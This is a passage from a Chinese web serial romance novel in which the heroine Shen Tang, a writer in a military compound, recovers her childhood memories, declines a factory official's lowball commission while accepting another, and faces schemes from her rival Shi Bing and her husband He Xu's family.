他以为沈棠被气到了,所以才会对自己忽视,回来后看都没看他一眼就睡下了,为此还心慌了许久,生怕沈棠因为贺家厌恶了他。 第一卷 第78章 沈棠小时候的记忆 沈棠情绪一下子就低落了起来,耸了耸小鼻子:“是何秋拖韩忠国拿了一串手链过来,让我回忆起了一些事。” 幼时的记忆断断续续,她只回忆起了某些重要的记忆,却是她真真切切在这个时代经历过的。 以至于醒来后,她依旧恍然着神智不能回归现实。 贺旭悬着的心放了下来,他长睫垂下,紧紧的搂着她:“我以为……” “以为什么?” “没什么。” 贺旭心想,幸好他刚刚将那封信烧了。 那样污秽的东西,沈棠看了都是脏了她的眼睛。 贺家啊,真是从没放过他。 沈棠没察觉到他情绪不对,她还在想那些曾经消失又被回忆起的记忆。 她一直以为自己才是那个外来者,因此从来不敢在沈家人面前表现的过于亲近。 她害怕沈母知道自己不是她的女儿,会让她伤心。 直到幼时的记忆恢复。 她才发觉,上辈子她迟迟不愿意让人领养,总梦见爸爸妈妈疼爱她的画面并不是她的臆想,而是她真真切切经历过的。 她以为她占据了原身的身体。 可原来,她早就在了。 通讯室的值班军人看到沈棠打电话去大荒北那边军区,看贺旭的眼神都变了。 贺营长运气可真好。 等电话等了片刻,沈棠听到沈母的声音,眼泪瞬间就收不住了。 抽抽噎噎的喊了声“妈”,那沈母急的恨不得把电话贴在耳边。 “出什么事了,糖糖别急,是不是贺旭那小子欺负你了?” 沈棠辛酸的想流泪:“没有,我就是想你了。” 她不知道该怎么说,她一直以为自己是孤儿,是被人抛弃的。 直到原身在她身体里残留的情绪全部消失,她才回想起了幼时的记忆。 本该是这个时代的人,去了另一个时代,十几年后,又再次回来了。 没有人相信她的经历。 她不知道父母会不会喜欢她,更不知道他们更爱谁。 唯一能让她信赖的,就只有沈母。 沈母这才放下心来,她知道女儿怀孕了,怀孕的人容易多想,感情也丰富。 只要不是贺旭欺负了自家女儿就好。 “那过几个月我过去帮你,才过年呢,别哭啊,有什么委屈就跟妈妈说,妈妈会帮你的。” 沈棠又哭又笑,小巧的鼻子红通通的,看的贺旭心疼的给她擦眼泪。 “妈妈,等以后我生了孩子,咱们把柿子树下的秋千搭起来吧,我好久好久都没有坐过了。” 那头的电话似乎沉默了一会儿,带着一丝颤抖的问:“糖糖想起来了?” 沈棠擦了擦眼泪:“恩。” 沈母红了眼眶,哽咽着道:“对不起糖糖……” 母亲怎会认不住自己孩子呢? 那一年,每个人都说她发了疯。 后来她也觉得自己发了疯。 她过不了心里那一关,又理智的告诉着自己,别在发疯了。 没有人会怀疑自己养大的孩子,她是不正常的。 直到那一天,她的糖糖戴上了她为她准备的生辰礼物,她就知道,她的糖糖回来了。 沈棠哭着摇头,安慰她道:“妈妈最好了,从来没有对不起我,荒北那么太冷,您和爸爸要保重身体,等以后有空了我再去看你们……” “好,糖糖也要听话,等妈妈安排好这里的事,就过去照顾你,你怀着孩子,万事不要冲动,多和贺旭那小子商量,贺旭这个人以前有些不着调,但为人还是有担当有责任心的,在贺家也算是出淤泥而不染了。” 军区的电话不能一直占线,两人聊了一会儿,这才挂断。 心里一直压抑的愧疚消散,沈棠整个人的精神气以肉眼可见好多了。 贺旭不明白她和沈母在打什么哑谜,动了动唇,又将疑惑压了下去。 沈棠小时候从楼上摔下来导致失忆这件事,军区大院里的人都知道。 他只以为是沈棠想起了小时候的记忆,有些小心翼翼的搂了搂人:“怎么忽然就想起来了?” 沈棠回头看着他,水灵灵的眸子好似一汪秋水,狡黠一笑:“就是想起来了,走啦,我饿了。” 贺旭望着她快乐的小身影,温柔的笑了笑,又想到从首都寄来的信,心里不由沉了沉。 过完年,沈棠就去文工团上班了。 文工团来上班的人不多。 石冰算一个。 许是因为她也怀了孩子,这段时间还一直害喜,没了空闲找她麻烦,沈棠难得平静了一段日子。 又过了几天,沈棠收到了出版社的回信。 上次写的一篇关于军嫂在背后付出的文章再次上了光明日报,不少海市的工厂都在打听登上了两三次光明日报的作者是谁,他们想让她给自家工厂也写一篇文章宣传宣传。 沈棠是个社恐,写作是她的爱好,除此之外,她并不是很愿意为别人写宣传稿。 她写信给了出版社的编辑,让她帮自己拒绝后就没再管这件事了。 年节过后,林晓和李红也回来了,文工团也忙了起来。 石冰没有转回原单位,自然还是担任领唱。 或许是因为她嫁了人,之前的事又没有证据,随着事情过去,大家对她避之不及的态度也渐渐好了起来。 早上,沈棠来了排练室,听到大家在讨论石冰。 “听说了吗?石冰被海市化肥厂请去写宣传稿了,真是厉害啊,不愧是首都来的。” “化肥厂,那个让全国农业厂都想打好关系的海城化肥厂?那么大个厂为什么要找石冰写宣传稿?” “谁知道呢,首都来的,背后总有点关系呗。” 沈棠并没有在意这件事,石冰与她虽然合不来,但人家确确实实有才能,听说高中的时候一直是年级前百,会写文章也没什么奇怪的。 她唯一奇怪的事,她刚拒绝帮海市工厂写宣传稿,石冰那边怎么就忽然成了写宣传稿的人? 大家并不知道沈棠和石冰有矛盾,但也不妨碍有些人酸石冰的同时讥讽她。 毕竟沈棠也是从首都来的,还一来就担任了独唱的位置,嫁给了家世样貌都极好的贺旭。 “这首都来的到底是不一样,人家石冰真是有才,不像有的人,只能靠着男人花钱。” 那姑娘虽然没点名道姓,但那眼神却是冲着沈棠的。 沈棠朝那姑娘看去,没好气道:“你是藏我床底下了吗?我花谁的钱你都知道?” “文工团谁不知道你花钱大手大脚啊,文工团那点工资都买不起一只手表,你今年买的那些衣服,一件就要二三十,还不是靠着男人才买的起。 你不会以为你能和人家石冰同志比吧,人家可是被请去写宣传稿,一篇文章就有五六十块呢,哪像你,除了长的漂亮一无是处!” 第一卷 第79章 贺旭:我就喜欢你这条咸鱼 李红冲上前为沈棠说话:“你们这群人就是嫉妒别人,别说人家沈棠自己手里有钱,就算人家花自家老公的钱,那也是人家应该的,那么喜欢捧人臭脚,你干脆给人当丫鬟得了。” “李红你说什么呢,别以为团长是你姑姑我们就不敢对你动手了。” “来呀,看谁打的过谁,老娘从小吃三碗饭,牛一样的力气,不把你们打的满地找牙我就不信李!” 石冰见大家都快打起来了,才施施然的出来劝架:“好了,大家别因为我而吵了,我们来排练吧,最近有一首合唱我看不少人分不清自己该唱的部分,明天就要演出,大家都安静点听我指导。” 吵架的几个人哼了声,走到石冰面前讨好似的请教。 李红气不过,沈棠拉住她:“算了,咱们不逞一时之气。” 现在石冰风头正盛,对上她没什么好事。 果然如她所想,石冰为海市最大的化肥厂写宣传稿的事瞬间在军区散布开。 不少男兵都在可惜石冰这么有才竟然嫁了个中年老男人。 家属院里原本嘲讽她的人,也是态度骤变。 石冰从来没有像今天这样开心过。 连一贯对她严厉的李团长都为此给了她两天假。 吴柱更是对她和颜悦目,平日里她少做一顿饭都要被他说,这会儿他竟然主动承担了家务。 虽然他摸她的手时让石冰感到恶心,但这样被人捧在手心里的感觉真是太好了。 沈棠这边也收到了信,信是海市化肥厂寄过来的,说是希望她能够帮忙写宣传稿,还约她在周六见一面。 贺旭看了她的信,微微蹙眉:“化肥厂的宣传部李副主任,他老婆是化肥厂厂长的表妹,听说在化肥厂很有权威,明天我陪你过去吧。” 沈棠吧唧一口亲在他脸上,笑容灿烂阳光:“贺旭,你真好,我这条咸鱼就靠你了。” 贺旭被亲的唇角控制不住上扬,粗粝的大手握着她的腰慢慢往上,声音低沉磁哑:“我就喜欢你这条咸鱼,尤其是翻过来翻过去的时候。” 沈棠耳尖猛的变红,气急败坏的伸出脚丫踹他:“让你胡说。” 贺旭攥住她的脚腕,将人扯到自己身下,一双笑的璀璨漆眸充满欲色:“棠棠,我想……” 沈棠立马挥动小腿往前爬。 但很快,她的双手双脚被固定住,威胁的话还没说出口,带着松柏香的软唇吻了上来。 最后嘴边的话变成了求饶。 周六,沈棠和贺旭一起来了市里。 化肥厂的宣传科李副主任约的时间是上午九点,在国营饭店见面。 沈棠到的时候国营饭店还没什么人。 她和贺旭点了一碗面吃,两人正说着话,就见一个戴着手表拿着公文包的中年男人走了进来。 他身材有些肥胖,带着一副眼镜,身高不高,一眼就瞧见了沈棠和贺旭。 最主要是饭店就她一个姑娘家。 男人走到他们对面坐下,一双眼睛眯成了细缝打量着两人。 “这位女同志,你是周糖作者吗?” 沈棠点头:“李副主任,幸会。” 李康面上傲的不行,似乎也瞧不上沈棠:“周糖同志,虽然说你有几篇文章上了光明日报,但我们化肥厂人才济济,也不是写不出那样迎合市场的文章。 这一次主任让我来找你,也是给你一个机会,如果周糖同志写的东西达到我们的预期,那么我们愿意给你十块钱,以及两张票据。” 沈棠蹙眉,这人是来找茬的吧? 她随随便便写篇文章都不止这点东西好吗? “周糖同志,你要知道,能为我们化肥厂写一份宣传稿那可是八辈子都修不来的荣耀,何况你只是一个小小的作者,这点钱虽然少,但你以后要是能更好的文章来,我们化肥厂宣传科说不定能破例给你一份工作。 现在的工作可是铁饭碗,周糖同志,你可要看的长远点,别图当前的小利。 何况我们这一次可不止请了你一个小作者,你要是拒绝的话,可有的是人愿意。” 沈棠听了这话脸色都变了。 谁那么傻叉为了一份虚无缥缈的工作几乎免费给人家写宣传啊? “不了,这种好事还是留给其他的同志吧,我已经有工作了,也没那个精力帮你写宣传稿,既然你们已经有了其他同志帮忙,那我就不凑热闹了。” 沈棠之前还纳闷,其他厂请她写宣传稿,都是希望她能够去厂里见面,怎么这化肥厂的宣传科副主任要在国营饭店和她见面? 原来人家是没看上她。 李康脸色一凝:“海市多少人想进我们化肥厂,周糖同志你可要考虑清楚了,就算这份工作你用不到,你家人说不定也能用到呢。” 现在一份工作能卖到八百多块钱,他以为丢下这么个诱饵,眼前这个十几岁的小姑娘肯定会动心,谁知道她竟然一口拒绝了。 这可不行,虽然他没打算真的给工作,但她的文章可是在宣传科过了主任的眼的,要是交不出一份满意的稿子,他在背后做的事,肯定会被发现。 沈棠再次拒绝:“抱歉,我与我丈夫来这里,不是为了和您谈条件的,因为个人原因,我不打算为工厂写宣传稿。” 李康站起身来,冷笑一声:“周糖,你别给脸不要脸,我亲自出面给你一个机会,让你为化肥厂写一份宣传稿,你还敢拒绝?” 贺旭扳动手指,骨节“咯吱咯吱”的响,锋利眼神直勾勾盯着他,唇角微扬,不屑道:“你说谁不要脸?” 李康被他凌厉阴狠的眼神吓了一跳。 反应过来,一拍桌子:“你还想打我?好啊,今天你敢动我一根手指头,我让你吃不了兜着走!老子在海市这么多年可不是摆设,能怕你一个小小的兵痞?” 贺旭从桌子下一脚踹在他的小腿上。 李康一个没站稳,直接摔了个四脚朝天,惨叫连连! 第一卷 第80章 递给周糖同志打脸的机会 “你敢踹我?” 贺旭耸了耸肩膀:“谁看见了?” 沈棠咧嘴一笑:“我没看见。” 隔壁忽然传来一道声音:“我也没看见。” 沈棠回头看了一眼,男人戴着眼镜穿着衬衫,一看就是个知识分子,打扮的体体面面的。 她没在意,居高临下的对着李康乖巧一笑:“李副主任,我好好的跟你说话你怎么不听呢? 化肥厂有什么了不起?我不愿意帮你们写,你非得强求,这下好了,遭报应了吧,好好的站着也能摔倒,可把我吓着了。” 幸好带了贺旭出来,不然她一个人真搞不定这奇葩主任。 “分明是他把我踹到的,你、你们给我等着!” 李康丢下一句话,一瘸一拐的跑了。 他气极败坏,刚回来工厂就撞上了宣传科主任。 对方看他狼狈的样,眼神微闪,咧嘴一笑:“呦,李副主任,你不是出去见人家周糖作者了吗?这事可是厂长交代下来的,你可别办砸了啊。” 李康整理了下衣服,冷哼:“你都知道是厂长交给我的,还问什么问?” 他直接走进厂长办公室,刚刚还傲的不行的脸色瞬间变的苦涩:“表哥,你交给我的这都是什么事啊?那周糖傲的不行,根本不愿意帮我们工厂写宣传稿,我这辈子都没看过人脸色,今天算是被她气够了。” 化肥厂厂长眼眸一瞥,没在意他的哭诉,点了根烟:“我们给那么多钱给她,她都不愿意?别不是你自己说话得罪了人家吧。” “我怎么可能啊,表哥你知道的,我虽然平日里虽然嚣张,但最会看人脸色,你交代的事我哪件没做成,我都给出了一千块了,人家就是不愿意。” 李康说完,小心翼翼的他一眼:“不过我还找到了一个写作不差的,价格也不贵,您看……” “没有名气的,我还不如花点钱买通报纸呢。”化肥厂厂长冷声道,显然对他的提议不同意。 李康笑嘻嘻的讨好道:“反正不贵,万一能上光明日报呢。” 化肥厂厂长沉默了片刻,转头问:“那个周糖说的是不帮我们,还是不帮所有的工厂写?” 李康:“那必定是所有的工厂都不帮啊,她虽然是军区的,但军区农场那边,可还求着我们的肥料呢,不可能会帮别的厂的,她要是敢写,我定要她好看!” 化肥厂厂长点点头,挥手让他出去。 李康笑嘻嘻的走出去,刚刚还弯着的腰瞬间挺直了。 一个小作者,他还能对付不了了? 另一边,沈棠等人走了,坐下继续吃面,小声埋怨:“面都坨了,这什么李副主任,气死我了,早知道不来了。” 贺旭看她炸毛的样子,就像一只悠闲自在的小猫忽然被人戳了下,奶凶奶凶的,看的他忍不住上手摸了摸她的小脸。 手感真好。 肉嘟嘟的好像胖了? “那个李副主任明显是想白嫖你的文章,他连工厂都没让我们去,说不定是想剽窃你的文章,我唯一疑惑的是,这个人怎么查到咱们是军人的?” 贺旭今日穿的不是军装,姿态散漫,完全看不出来是个军人。 那李副主任下巴都快抬天上去了,这么蠢的人,能调查到他们的背景? 还是说,他今日是故意来羞辱他们的? 沈棠浅褐色瞳眸眸色一凝,石冰被化肥厂宣传科邀请去写宣传稿,转头李康就知道了他们的身份,她很难不怀疑是石冰看到了出版社寄来军区的信件,并且和李康勾结在了一起。 虽然她觉不得石冰有机会拆开她的信件,但想想她最近发表的那些文章,再联想一下寄信地址,想到她是“周糖”身份也不难。 她将自己的猜测告诉了贺旭。 贺旭紧锁眉头,上次他提醒吴团长,然而对方嘴上答应的好好的,转头就被石冰的枕边风给吹的找不着南北。 “她家里出了事,就算告知了我们的身份,也不太可能让化肥厂的李副主任选择她来写宣传稿,等之后我调查一下。” 沈棠冲他可可爱爱甜甜一笑,将面条推到他面前:“你吃。” 转头,她就让服务员给她拿了两个包子。 贺旭:“……” 他无奈叹气,刚刚他就不应该多买自己那碗面条的。 不过看她小口小口的啃着包子,他好像还挺心满意足的? 两人正吃着饭,身后那个戴眼镜的男人走到他们面前。 “不好意思,打扰一下,请问你是周糖作者吗?” 沈棠和贺旭对视了一眼,点头道:“有什么事吗?” 男人推了推眼镜,露出礼貌笑容:“周糖同志你好,我叫梁陆,是海市一家饲料厂宣传科主任,之前我一直有写信给报社,希望能够联系上您帮我们写一份宣传稿。 我们厂虽然比不得化肥厂,但在海市水产品饲料工厂里也是数一数二的,无论是质量还是规模都已经发展到了最大最优。 但想要进一步扩大,就必须要先打出名声,故而当我们厂长看到您在杂志社和光明日报上的文章后,便一直让我联系您。 我无意听到化肥厂那位李康副主任与您的谈话,也知道周糖同志您不愿意为工厂写宣传稿,但您放心,我们一定会给足让您满意的报酬,绝对不会像化肥厂那样白嫖您文章的。” 沈棠和贺旭对视了一眼。 她思考了一瞬,有些疑惑:“为什么你们几个厂都找我帮你们写宣传稿?” 她了解自己,要说多有才华,那真不一定能比的过其他的作者。 在光明日报上发表文章的大有人在,海市还是一个人才集聚地,也不是只有她一个人在杂志社和光明日报上发表过东西。 按理说,她不应该这么被关注啊? 梁陆诧异道:“您不知道吗?” “你在光明日报上发表的那篇常见拐卖方式与如何逃脱拐卖方法,不知道拯救了多少妇女和小孩,很多人因此挖出了你在杂志社上发表的《娘嫁》《小人物崛起记》,里面写了不少制作新食物和美食的方法,大家为了验证,连带着很多食物的价格都上涨了些。 若是您以周糖这个笔名为我们写一篇宣传稿,那必定能够将我们的名气打出去。” 沈棠也没想到自己好好的写作,会闹出这么大的动静。 也就是这个时代没有手机,不然谁会想到用作者笔名给公司打名气。 “你说你们厂叫什么名字?” “叫海立饲料厂。” 沈棠眸子微微睁大,这不就是前世那个全国十大饲料之一的海立公司吗? 梁陆继续道:“化肥厂其副作用,销量年年不变,今年还有些下降,我们就不一样了,我们公司的盈利一直在上升,如果有了周糖同志的宣传,想必会更一层楼,化肥厂那些人也会因此后悔口出狂言。” 身怀一颗火热之心的年轻人最受不得什么? 最受不得被别人轻看。 刚刚李康一副傲气凌人的样子,这位小姑娘肯定气坏了。 他瞧准机会递上打脸的机会,这姑娘说不定会心动。 沈棠也不是听不出来他话中的意思。 她确实被石冰和化肥厂的人恶心坏了,能有打脸的机会她也挺想干的。 但她没有急着答应,转头看向贺旭。 男人看出了她心中所想,问道:“那报酬呢?” 梁陆道:“如果没有被选中,一篇文章我们愿意给三百块钱,以及一些票据。如果被选中,那么一篇文章我们愿意给一千块钱,以及数张票据和其他的福利。” 这个价格已经很实诚了,沈棠写了两篇长篇小说,每个月也就挣个两三百块。 还是因为她名气上去后,人家才愿意给她比较高的价格。 这个年头还没有分成,卖多少都不属于她的钱,她只有保底的价格。 一千块相当于一个工作。 普通人至少几年才能挣回来。 沈棠觉得自己当条咸鱼不行。 适当的打脸,才能显得她上进。 她伸出手,笑容甜美:“好,我答应了,咱们什么时候去你们厂看看?” 她要给他们写宣传稿,不可能啥也不看,啥也不了解,就随便动笔。 梁陆握住她的手,露出笑容:“如果你们现在有空的话,我们可以现在就去。” 沈棠兴冲冲的问:“远吗?” “不远不远,咱们坐公交半个小时就到了。” 三人去了海立厂,公司面积很大,梁陆在知道沈棠怀孕后,又给她弄了几个口罩带着。 生产线不多,梁陆给她介绍了各种饲料的特点以及生产注意事项,还有和其他饲料工厂对比,以及工人监督等等。 因为机器不多,大部分生产线都需要人工检测,故而每一个沈棠又专门了解一番职工福利。 回了军区后,她累的不想动弹。 贺旭给她按摩双腿:“肚子有没有不舒服?” 沈棠动了动小胳膊:“有。” 贺旭一下子就紧张起来了:“哪里不舒服?” “他饿了。” 沈棠没脸没皮的笑嘻嘻,惹的男人直翻白眼,在她额头上弹了个响指。 第一卷 第81章 石冰也被化肥厂邀请写宣传稿? 周一上班,石冰去化肥厂观察的事被众人知道。 大家纷纷好奇的问她是不是和化肥厂那些领导一起去的。 化肥厂每年产量不算多,且因为技术有限,使用后会造成土地污染,故而一直没有全国普及。 但这一次不一样,听说化肥厂的技术部做出氮磷化肥和有机肥配合使用,就连他们军区的农场都要跟人家工厂打好关系,才能领到最新一批出来的化肥。 “他们领导招待的我,人家领导确实好,体谅我不辞辛苦过去写宣传稿,还给了我不少福利呢。” “果然是大厂,真羡慕你,高中毕业就是不一样,我初中出来没本事只能来文工团了。” 其他人听到这话心里有些不舒服,可转念一想,要不是找不到工作,谁会千里迢迢远离父母来军区报名文工团呢。 沈棠没理会这些人,听说李红相中了个对象,她和林晓正打算过去帮她看看。 不曾想,偏偏就有人犯到了她的手上。 “沈棠,不是说你家里关系很硬吗?怎么人家化肥厂只找冰冰姐,不找你呀?” 说话的是王晓雨,自从她和许婷闹翻之后,便一直有意无意的往石冰身上凑。 奈何她还没凑上去呢,石冰就出事了。 她心里鄙夷石冰失了清白,但见着人家又起来了,心思立马又活跃了起来 虽然沈棠家世好,嫁的人也帅气,但贺营长家世再好,他也就是一个营长,还是在吴团长手下做事的营长。 沈棠连石冰结婚都不来,指不定心里多郁闷呢。 王晓雨年纪已有二十,她也想找个对象,奈何上次联谊晚会上她看中的那个陆营长没看上她。 她倒是想纠缠,结果人家转头就去执行任务了,刚回来之后就休假回老家过年去了。 王晓雨无奈,陆营长那边她扒拉不上,便想着让石冰帮自己介绍一两个前途好的。 知道石冰厌恶沈棠后,她一直在找机会帮忙损沈棠,这会儿可算是逮着机会了。 沈棠面带笑容:“是啊,人家没找我,也没找你啊,怎么了,不会写宣传稿,咱们文工团的女兵们就要低人一等了?” 王晓雨面上一慌,这沈棠的嘴巴怎么这么毒啊? “我可没这么说。” “你没这么说,可你就这么想的呗。” 众人也反应过来了,虽然她们对石冰能帮化肥厂写宣传稿这事很羡慕,但他们好歹也是文工团的,不会写宣传稿又怎么了?人家宣传科的人也不会唱歌跳舞啊! 这么想着,大家慢慢就散了,仿佛刚刚的热情和羡慕是昙花一现。 写宣传稿其实没什么大不了,能发表到报纸上那才是有文化呢。 沈棠不知道化肥厂那边是怎么打算的,但饲料厂那边的宣传稿她显然不只想要发表就行了。 要知道,官报和民报是不一样的。 有些民报花点钱就可以上了,但官报却有权威性,必须是真实可靠且文章具有意义才能上。 像沈棠如果只是写一些没有用的风花雪月,极大可能是上不了光明日报的。 沈棠没理会石冰今日难得没和她打嘴炮的异常,晚上回了家,绞尽脑汁的将自己宣传稿完善。 写作的事不能停下,文工团舞台演出也不能停。 沈棠最近忙的起飞,好不容易闲下来,这才注意到贺旭有些疲惫。 想到他这几天训练又晚又累,沈棠也开始自己学做菜了。 一开始做的不太好吃,但她请教了小姨,多做了几次,就把握住了那个度。 贺旭习惯性的从食堂买饭回来,看到沈棠坐了一桌子菜,开心到止不住笑,看她的眸色温柔。 “你还怀着孩子,不想吃食堂等我回来给你做就好了。” 沈棠拉着他坐下:“我总得学会做饭做菜,以后孩子出生了,咱们总不能一直吃食堂。” 日子是需要两人扶持才能惬意的,贺旭是军人,军人每天的训练极累,他愿意撑着疲惫做饭,但沈棠却吃的并不安心。 她虽然也有工作,可文工团歌唱团的任务不重,加上她怀着孩子,就算有点累活,也不需要她来做。 回来做个菜而已,两个人一个肉菜一个青菜就够了,贺旭愿意为她付出,她自然也愿意做好这个后盾。 “爷爷最近病了一次。” 贺旭吃着饭,不经意间将自己心头压抑的事说了出来。 “好了吗?” 贺旭侧头,看着她那双带着关心和担忧的眸子,淡淡笑了下:“他年轻的时候遭了不少罪,医生说他需要静养。” 沈棠安慰他:“别担心,小王叔叔他们会照顾好爷爷的。” 贺旭点点头,一双凌厉的眉眼却并未有丝毫放松。 早上,沈棠和周玲一起去市场买了菜回来,路上遇到通讯员说有封京城来的信需要她签收一下。 这一个月来,京城那边一直有人寄信给贺旭,沈棠尊重贺旭,每次拿回来都没看过,却总是见贺旭看了之后神情不佳。 她也问过贺旭信里写了什么,但他并没有说,只说让她把信拿回来后扔进火堆就行了。 正巧,她去拿信的时候瞧见石冰正在打电话。 听她那语气简直不要太温柔。 石冰瞧见她,忽然对着电话那头说:“方阿姨,沈棠同志就在这里,不如我让她接电话?” 沈棠有些疑惑,就见石冰将电话递给了她:“这是方阿姨,也是贺旭的母亲。” 贺旭从来没有跟她说过母亲的事。 她将信将疑的接过:“你好,我是沈棠。” 电话那头传来淡漠的声音:“沈棠?是贺旭媳妇吧。” “是,您有什么事吗?” 贺旭的母亲不找贺旭,找石冰,这事怎么看都不对劲。 “我听说你怀了孩子,我打算过来照顾你,你觉得怎么样?” 沈棠心里当然不愿意了,再等两个月沈母就要过来了,一个贺旭从来不提的母亲过来照顾她? 别是她大着肚子照顾她吧? 第一卷 第82章 他唯一在乎的,就只有沈棠 “方伯母,我们申请的房子小,您过来的话没地住。” 方氏在那头冷了脸:“什么叫没地方住?人家石冰可是说了,你们家三室一厅,我一个当妈的过去照顾你,你还敢找借口拒绝? 沈棠,你和贺旭结婚的时候不通知我也就算了,小辈没有规矩,我这个当妈的不和你计较。 但别以为我不知道,你一个做儿媳的住我儿子的家,拿着我儿子的工资在军区里乱花,我要是不过去盯着点,你还真把我儿子当冤大头了是吧?” 沈棠捏着电话的指腹微白,眸色闪过一道冷意:“方伯母,我家确实没有地方给您住,你不知道,我妈那边已经答应过来照顾我了,就不劳烦您了。” 方氏听到沈母要过去,神色一顿,随即不耐烦道:“你是我儿子的媳妇,她周蓉凭什么过来吃我们家的东西住我们家的房子,这件事没得商量,我会尽快过去你们军区! 还有你别想着欺负石冰,要不是你们在背后捅刀子,石冰怎么会嫁给别人,她可是我自小就看着长大的、要嫁给我儿子的人,要不是你插足,他们俩早就在一起了!” 沈棠冷笑:“方伯母,您是不是以为贺爷爷生了病,就没办法管你了?” 方氏心里咯噔了下:“你什么意思?” “我没什么意思,如果这是您和贺家其他人的意思,非要过来打扰贺旭,那我会将这件事告诉贺爷爷,毕竟爷爷虽然需要静养,但对付您和其他人,还是不费心力的。” “我话尽于此,您要是非得插足进来贺家家事,那么您就别怪我提醒您一句,沈家也不是好惹的,其他人我不知道会怎么样,但您的小儿子,势必会成为这其中的炮灰!” 沈棠转念一想就明白了,方氏怎么知道的贺旭参军地址? 她刚开始也以为是石冰先联系到的方氏。 但仔细想想,石冰在部队这么多年了,如果能联系上方氏,早就利用这层关系给贺旭施压了。 石冰联系不到,那只可能是有人联系了石冰。 或者说贺家有人给了方氏石冰参军地址,并且和石冰合作,让方氏过来破坏她和贺旭的关系。 男人如果连后宅都管不好,那么后宅之火必定会燃烧到自身。 方氏一旦过来部队,肯定会对贺旭造成不可逆转的影响。 这个时候贺老爷子在静养,正是贺家其他人出手的好时机。 之前贺老爷子很是看不上她,无非就是觉得她性子懦弱,不能支撑起大任。 沈棠不以为意,以为贺家在首都的争斗影响不到贺旭,现在想想,她确实有些天真。 贺旭的是贺老爷子培养的顶梁柱。 但贺家那些人的眼光却不长远,只想着拿到贺老爷子手里的东西,以及他留下的人脉。 而贺旭就是他们首要踩下去的人。 沈棠挂了电话,听见石冰那嘲讽似的声音:“沈同志,你怎么能挂了方伯母的电话,贺旭从小就孝顺,你这样做贺旭知道吗?” “他知道啊,夫妻一体,我的意思就是他的意思,石冰同志,你也怀了孩子,你妈不过来照顾你吗?” 沈棠的话直戳石冰的心头。 石母这个人最是好面子了,知道石冰嫁了一个三十多岁的老男人后恨不得没生这个女儿,怎么可能来帮她照顾孩子。 要知道石母离婚后可没有单着,几年后又再嫁了个男人,后头生的那个女儿才是她的心尖尖。 石冰为了男人连大学都放弃了,这么个脑子她留着养老都不敢指望。 石冰眼神霎时阴狠起来,压低声音:“沈棠,你也别得意,迟早有一天,我会让你和贺旭跪在我面前求我!” 沈棠侧头睨了她一眼,嘀咕了句:“你这人是不是有点精神上的毛病,喜欢一个人得不到就要毁掉?你以为自己是老皇帝的小公主啊?” 她没理放狠话的石冰,拿起自己信就离开通讯室。 贺旭还没回来。 沈棠原本是想将信烧掉的,想到贺家那些糟心事,和贺旭最近的疲惫,她没忍住打开看了一眼。 信是贺爸寄的。 大致的意思是贺老爷子这次病倒的事肯定和贺旭有关,话里话外骂他是个畜生,后半张纸则在写骂他不孝,说是让他办的事从来没有办过,大房三房在背后算计他都是他活该。 最后还有一提,贺爸的大儿子贺期丢了工作,为了不下乡,只得和贺爸他们厂技术部的一名老员工的女儿结了婚。 贺爸希望贺旭能够把老爷子给他的那手镯寄过来,如若不然,他就让方氏过来他们部队。 而方氏因为贺家的针对,不仅她自己的工作丢了,连她老公的工作也被停了,这阵子在家不是挨骂就是挨打。 总之,如果贺旭不想自己的生活被方氏打扰,就乖乖的听他的话,把东西交出来。 沈棠看完就扔进火里了。 回去房间将纸笔拿出来,气愤的写信给京城那边。 这都是什么奇葩垃圾,翡翠镯子是老爷子给她的,贺爸也好意思惦记? 院子大们是敞开,贺旭回来就看到沈棠在写信。 大概是太生气了,连他到了屋子里都没发现。 贺旭看了两眼信上的内容,望着沈棠的眸色很是复杂:“首都又来信了?” 沈棠下意识捂住信,回头瞪了他一眼:“你怎么回来也不吱一声?” 贺旭沉默了片刻,有些羞耻的上下牙合在一起:“吱~” 沈棠没忍住笑出了声。 贺旭恼羞成怒:“不许笑。” 沈棠乖乖闭上嘴巴,只是那双明媚的眸子依旧是笑意满满。 贺旭将人抱在腿上,嗅着她身上的馨香,叹气:“我妈那边的事我会能自己对付的,何必让沈爷爷出手。” 他娶沈棠,只是因为喜欢这个人,他从来没有想过要将她拉进贺家那潭污水中。 方氏要是想来部队,他是绝对不会放她进来的。 说他无情也好,说他不孝也罢。 他唯一在乎的,就只有沈棠。 方氏来意不善,他绝对不会放她进来部队。 谁来都没有用,哪怕会影响前途。 再说了,方氏要是来部队,他自然也有对付的办法。 沈棠低头在他唇角吻了吻,捧起他的脸,对视着他破碎的黑眸。 “我们是夫妻,夫妻一体,有难同担,我没有你想的那么懦弱,你能保护我,那我也能保护你,你呀,就放心的去保家卫国,我在后方也会为你照顾好这个家。” 贺旭心头一酸,黑眸中似有流光溢出,低声唤她,温柔至极:“糖糖,糖糖……” 他紧紧的将人搂住,似抱着人生唯一的宝贝,恨不得将她掩藏进骨血之中,再不得任何人偷窥。 第一卷 第83章 你凭什么认为是我妻子绊倒了你老婆 沈棠分别将信寄给去了报社和首都。 方氏想来军区,无非就是自家的工作被搞掉了,以至于不得不听话为贺家人办事。 那她让爷爷帮忙,让方氏老公工作外派,他们一家子离开京城,便参与不到贺家的争斗里。 沈爷爷那边接到信,看完就到贺老头面前炫耀去了。 贺老头还说他家的孙女性子软弱胆小,迟早得拖累贺旭。 他呸,他家孙女聪明伶俐,贺老头那个没眼光的人知道什么? 贺爷爷瞧见了信上的安排,眉头一挑,还真是自己看错了人? 他以为这次还是贺旭自己解决问题呢。 沈棠用心研磨的文章很快再次上了光明日报。 同一时间,石冰的文章也上了报纸,只不过是另一家没什么权威,名字听起来好听的南光日社。 南光报纸登常被用来登断亲关系,发行范围还算广泛,在海市就有几家这样的报社,一般都不会发往全国。 文工团众人并不了解报社的区别,见石冰的文章上了报纸,纷纷来祝贺她。 一时间家属院人人都知道石冰的宣传稿上了报纸。 吴团长面上有光,还让人准备了好菜好茶,打算宴请几个兄弟。 石冰好说好歹,才让他放弃了。 不过吴团长还是请了自己团的人来吃饭。 他也没说是为自己媳妇祝贺,就说是请吃饭,大家没法拒绝,带着礼物上了门。 贺旭和沈棠也来了。 吴团长看到二人,眼底的炫耀和笑意掩藏不住,端起茶朝两人敬:“小贺,上次我结婚你就没来,这次我可得好好敬你一杯,要不是你,我也不能娶到这么好的媳妇。” 他这个年纪坐到团长已经很幸运了,可想要往上一步,根本不可能。 眼瞅着贺旭这样年轻的人一步步往上爬,他心里也不是不羡慕嫉妒。 但没办法,他自己没能投个好胎,这辈子能拼到这个位置,他已经很满足了。 